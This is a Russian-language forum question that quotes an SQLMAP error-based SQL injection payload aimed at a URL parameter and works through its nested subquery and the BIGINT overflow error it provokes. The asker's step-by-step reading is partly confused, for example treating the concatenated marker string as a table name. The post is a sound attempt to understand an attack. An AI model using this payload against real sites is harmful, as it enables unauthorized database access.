Что делает этот SQL-запрос в этой полезной нагрузке SQLMAP? - PullRequest
0 голосов
/ 20 сентября 2019

Я пытаюсь Метод внедрения SQL на основе ошибок , используя SQLMAP .Методика, определенная SQLMAP:

на основе ошибок - предложение WHERE, HAVING, ORDER BY или GROUP BY (BIGINT UNSIGNED)

Будет замечательно, если кто-то сможетпомогите прояснить, какую полезную нагрузку использует SQLMAP.

Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs

Более конкретно, что происходит в этом запросе SQL

(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610))) 

Update1:

Отформатированный запрос выглядит следующим образом:

SELECT
   2*(IF((
   SELECT
      * 
   FROM
      (
         SELECT
            CONCAT(0x716b626b71, 
            (
               SELECT
(ELT(9092 = 9092, 1))
            )
, 0x71626b7071, 0x78)
      )
      s), 8446744073709551610, 8446744073709551610))

SELECT (ELT(9092 = 9092, 1)): вывод запроса равен 1, так как 9092=9092 возвращает значение true (т. Е. 1), а функция ELT возвращает 1-й аргумент, т. Е. 1

Таким образом, следующий подзапрос выглядит так: SELECT CONCAT(0x716b626b71, 1, 0x71626b7071, 0x78): Query Output приводит к объединенной строке "qkbkq1qbkpqx" (после преобразования шестнадцатеричного значения в строку)

Однако результирующий подзапрос SELECT * FROM qkbkq1qbkpqx даетошибка: Every derived table must have its own alias

Update2:

Я пропустил псевдоним в запросе, как упоминалось @ tcadidot0.Итак, теперь результирующий подзапрос имеет вид: SELECT * FROM qkbkq1qbkpqx s

И последний запрос: SELECT 2*(IF((SELECT * FROM qkbkq1qbkpqx s), 8446744073709551610, 8446744073709551610))

Если таблица "qkbkq1qbkpqx" существует, то она возвращает 8446744073709551610, иначе возвращает8446744073709551610, однако 2 раза результат приводит к этой ошибке: BIGINT value is out of range in '(2 * if((1 > 0),8446744073709551610,8446744073709551610)) при условии, что 1>0 является условием вместо оператора выбора.

...